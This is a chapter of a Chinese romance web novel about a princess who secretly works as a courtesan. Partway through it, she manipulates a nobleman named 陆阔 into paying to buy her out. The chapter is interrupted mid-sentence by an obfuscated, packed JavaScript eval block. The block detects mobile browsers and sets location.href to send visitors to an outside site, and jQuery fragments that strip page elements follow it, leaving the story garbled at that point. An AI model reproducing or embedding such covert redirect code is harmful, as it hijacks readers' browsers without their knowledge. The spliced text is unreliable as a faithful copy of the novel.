61. 耍陆阔

作品:《王妃与花魁

    夭英也松了口气,再让她拦着王爷,保不齐王爷真要叫人把她拿了,娘子是没瞧见今早王爷的模样,活像她要谋害王妃。


    栾素那么急着支开王爷,是有话憋不住想说,她点了点洛玖卿的额头:“还说王爷不喜欢你,我瞧他对你可紧张得很,还亲自喂你喝粥呢,人家一个王爷何时做过这样伺候人的事。”


    洛玖卿不以为然:“王爷不过是维护王妃的体面。”


    “再说了,不是你教我的,一个男人若是喜欢你,定是日日夜夜黏着你不愿分开的,你瞧王爷像这个样子么?”


    栾素摸了摸下巴:“这个还有待观察。”


    “而且他从不眷恋与我同榻而眠,无论夜里如何,早上我都是见不着王爷的。”


    “那他干嘛去了?”栾素理解不了,王爷大清早丢下娇软香甜的王妃和温暖舒适的被窝,着急忙慌去做什么。


    “上朝,或是去大理寺。”


    栾素更不理解了:“怎么会有人干活儿比……还积极的……”


    她翻着洛玖卿的手腕按她的脉搏,面上闪过一丝惊讶:“奇了,昨夜看你还是病歪歪的,今日怎么就大好了?”


    洛玖卿笑笑:“你就这么不盼着我好?”


    栾素叉腰叫唤起来:“什么叫不盼着你好?盼着你好才关心你呢,你以为病好得快就一定好?没听过一句话叫病去如抽丝么,慢慢儿好,好透了,才不伤身体底子。”


    洛玖卿被栾素逼着卧床好几天,将身体彻底养好了,才许她去青玉楼,这几日陈英陈繁的日子也不大好过。


    陈繁:“哥,你觉不觉得最近几日,王爷心情不大好?”


    “还好吧。”


    “你就装吧,那刚才你给王爷送卷宗进去,那么紧张。”


    陈英矢口否认:“我没有紧张。”


    陈繁笑了笑:“我其实知道王爷为何不高兴。”


    “为何?”


    “因为王妃啊!”


    陈英不解:“跟王妃有何关系,王爷最近就没怎么见着王妃。”


    “就是因为见不着王妃,王爷才心情不好的,你想想,王妃的二婶白日里拦着王爷不让见王妃便罢了,夜里她还要跟王妃同睡。”陈繁压低了声音,“王爷都在书房歇多少夜了?”


    陈英被他说的脸一红,斥道:“不许妄议王爷和王妃。”


    陈繁闷闷地“哦”了一声,不敢再多说。


    有栾素在,洛玖卿可以放心地带夭英去青玉楼,晚膳后二人换装出门。


    到青玉楼,柳香玉递给她一封信:“罗大走了。”


    洛玖卿皱眉:“走了?”


    “他服了千杀阁的解药,你放心吧,毒已经解了,阁主派他去西南执行任务了。”


    洛玖卿看着信封上已经被拆过的漆封,柳香玉注意到她的神色,从她手里将信拿回来,拆出里面的信纸。


    “千杀阁不会放任你们私下往来的,你明白吧,这封信阁主看过了才送过来的。”柳香玉扫了眼上面的内容,耸了耸肩膀,“那样五大三粗的一个人,说起情话竟然这么肉麻。”


    柳香玉将信递过来,洛玖卿接过信后却没有看,将折起的信纸置于晃动的烛火上,火势猛地一窜,信纸瞬间被火舌吞没,只余下黑色灰烬。


    柳香玉提了一口气本想说些什么,张了张嘴终究什么也没说。


    洛玖卿恢复容貌换好衣裳:“今夜我的时间都留给陆阔。”


    “你是认真的?”柳香玉愕然,“那可不是个好东西,而且也舍不得出那样多的银钱。”


    “银钱无所谓,这几日我只见他,他若来我便见,他不来,我只登台跳一支舞。”


    “行吧。”柳香玉从洛玖卿眸中看出了不好惹,“对了,今日悬济堂上门要诊金了,说是你上回送去的钱,扣去两身衣裳钱和伤寒药钱,还差七万两千五百一十二两。”


    洛玖卿掰弯了手中一支金钗,转身双手叉腰:“人他又没治好,还好意思收我十万两银子呢?一碗伤寒药才几钱银子,他也好意思问我要?信不信老娘把他的店拆了啊!”


    “那你需要我找人去把你先前付的银子拿回来么?顺便把他的店砸了,给点儿兄弟们的酒钱就行。”柳香玉挑了挑眉。


    “不用,他再来要钱只管打出去。”洛玖卿认可顾仲鸣那日保了罗钊的命,已经给他的银子,她不打算要回来,但也不可能再多给他一个子儿。


    小药童要钱无果,垂头丧气地回去了,师父还在店里配药,头也没抬:“回来了?钱没要到?”


    “没有,欢喜姑娘要赖账,剩下的钱都不给了。”


    顾仲鸣笑了笑:“不给便不给了吧,本也没替人将毒清干净。”


    药童有些奇怪:“那师父为何还叫我去要钱?”


    顾仲鸣托腮叹了口气:“我琢磨着,欢喜姑娘仙女般的模样,对十万两诊金眼睛都不眨一下就答应了,像个视金钱如粪土不食人间烟火的主儿,侥幸一试而已。”


    “师父,你替那男人治伤,用了好些店里的珍贵药材呢,都是有市无价的,这单不划算。”


    顾仲鸣用笔的末端敲了敲童子的脑袋:“救人的事,如何能评价划不划算?”


    *


    “欢喜,我都连来五日了,你还不肯依我?”陆阔趁洛玖卿递酒时,掐了一把她的手心。


    “陆大爷,不是我不肯依你,是柳娘不会轻易放我。”洛玖卿将自己的手抽回。


    “你与我就在此间,偷偷地办事,柳香玉如何知晓?”


    洛玖卿别开眼:“欢喜……亦有私心。”


    “什么私心?”


    “欢喜身处青玉楼,终究是身不由己,这身子能给陆大爷您,柳娘就也会将它给别人,陆大爷您能忍受?便是您能,欢喜也是绝不愿意的,陆大爷是欢喜此生认定的男人,欢喜不愿与旁人苟合。”


    陆阔抬了抬眉,这样的话术,他听过太多了,无非是青楼女子想要男人替她赎身娶她,他在心底冷笑,他陆阔是何等人也,他弟弟是圣上亲封的侯爷,他们陆家是勋贵之家,他怎么可能娶个青楼女子回家?


    玩一玩也便罢了,花点银子可以,赎身绝无可能。


    洛玖卿看穿了他此刻的犹豫,用丝绢去擦面上的泪:“欢喜蒲柳之姿,自是不敢奢望嫁入侯府做陆大爷的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16338494|178115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正妻,只希望将自己完全献给陆大爷,哪怕是做一个外室贱妾,也心满意足了。”


    陆阔掀起眼皮看她,越看越觉得她容貌动人楚楚可怜,若只是做个外室,自然无妨,甚至他可以在她为自己生下儿子之后,纳她入府做妾。


    陆阔半躺在榻上,推开身前的矮桌,将洛玖卿拉到自己身前,在她手背上亲出“啵”的一声,捏着她的手道:“你真想我替你赎身?”


    洛玖卿低着头:“想。”


    “可你如今是青玉楼花魁,是柳香玉的摇钱树,她如何肯轻易放你。”


    不等洛玖卿说什么,陆阔扯着嘴笑了,三角眼中露出狡黠的光:“爷给你个主意,你跟柳香玉一哭二闹三上吊,她见留不住你,定要最后赚一笔才肯放你走,这样便能将价格压到最低。”


    打发走陆阔后,洛玖卿一边净手一边将他的话告知柳娘,柳娘勃然大怒:“好他个陆阔,敢情那么多青楼姑娘被赎身,都是用的这样的昏招。”


    柳香玉挪步到洛玖卿身侧:“你呢,如何想的?不会真为了个乔家小姐,要把自己搭进去吧?”


    洛玖卿瞧着自己的手指泡在水中,笑了笑:“柳娘,你瞧着我像是这样傻的人么?”


    柳香玉从架子上拿了块干巾子递给她擦手:“别洗了,都快搓破皮了。刚见你的时候觉得你不是,可现在我却瞧不准了,你为了个罗大,能将自己所有银子搭进去,为了个没什么交情的侯府小姐,能忍着恶心跟陆阔周旋至今,我不明白。”


    次日,洛玖卿在陆阔面前弹唱了一曲艳.词小调,听得陆阔血脉喷张,扑着就要来搂她,被她灵巧避开,陆阔腿脚不便,绊着自己摔了一跤。


    柳香玉听见动静冲了进来:“陆大爷,您又想对我们欢喜做什么呀?听曲就听曲,怎么还摔了呢。”


    陆阔爬将起来,恨恨盯了柳香玉一眼,狠狠一拍桌:“我要给欢喜赎身!”


    “好啊,既然我们欢喜喜欢你,女大不中留,我可以放欢喜走,但是陆大爷您也知道,欢喜如今是整个尚京风头最甚的花魁,想她赎身,没有五十万两白银绝无可能。”


    陆阔瞬间蔫了,他知道柳香玉的要价并不过分,这个价码若是公开出去,只怕还要往上加,这算是给他的一个友情价,但他拿不出这么多银子,也是事实。


    柳香玉走后,陆阔突然眼冒精光:“欢喜,你跟我走吧,我带你逃出去,我就不信,青玉楼还能冲进侯府找你不成。”


    “陆大爷,您说什么呢,欢喜的身契还在柳娘那儿,便是侯府,也没有强掳别人家奴的道理。”她抬眸深情款款望着他,“我知道五十万两银子不是个小数目,谁也不能一时三刻便凑出来,其实、其实我这儿还有些体己钱……”


    陆阔喜出望外,能叫个青楼妓子将自己的缠头钱都拿出来,这是她真动了心,也说明那男人真的有本事:“当真?你愿意将你的体己钱拿出来?”


    “欢喜愿意为了陆大爷拿出来,但是欢喜有一个要求。”


    “你说。”陆阔猴急地饮下两杯酒,心头发热,面上也跟着发热。


    “爷要纳我为妾,并且三年内不许娶妻。”